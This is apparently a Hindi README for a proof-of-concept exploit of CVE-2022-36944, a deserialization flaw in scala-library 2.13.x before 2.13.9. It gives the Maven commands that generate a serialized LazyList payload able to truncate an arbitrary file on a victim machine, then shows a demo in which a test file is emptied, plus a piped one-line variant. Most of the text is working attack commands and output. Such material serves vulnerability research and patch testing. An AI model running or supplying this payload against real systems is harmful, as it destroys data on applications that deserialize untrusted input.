
CVE-2022-36944 भेद्यता शोषण के लिए POC
यह मिनी-प्रोजेक्ट CVE-2022-36944 भेद्यता की प्रूफ ऑफ कॉन्सेप्ट प्रदर्शित करने के लिए बनाया गया है। यह ysoserial के समान है, लेकिन केवल इस CVE के लिए LazyList क्लास के साथ पेलोड उत्पन्न करता है।
org.scala-lang:scala-library संस्करण 2.13.x जो 2.13.9 से पहले हैं
आपके अनुप्रयोग को शोषण योग्य बनाने के लिए दो शर्तों को पूरा करना होगा:
scala-library jar शामिल हैObjectInputStream#readObject() को अंततः कॉल किया जाता है और उसे अविश्वसनीय डेटा (हमलावर-नियंत्रित) दिया जाता हैscala PR देखें: #10118
mvn clean package
निम्नलिखित कमांड stdout में पेलोड डंप करेगा जिसका उपयोग पीड़ित मशीन पर मनमानी फ़ाइल को छोटा (truncate) करने के लिए किया जा सकता है:
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"
$ yes sometestdata > test_data
^C
$ head test_data
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
payload.ser फ़ाइल में सहेजें:$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
$ head test_data
$
चरण 2-3 को इस प्रकार जोड़ा जा सकता है (Victim के लिए फ़ाइल के रूप में "-" का उपयोग करें):
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException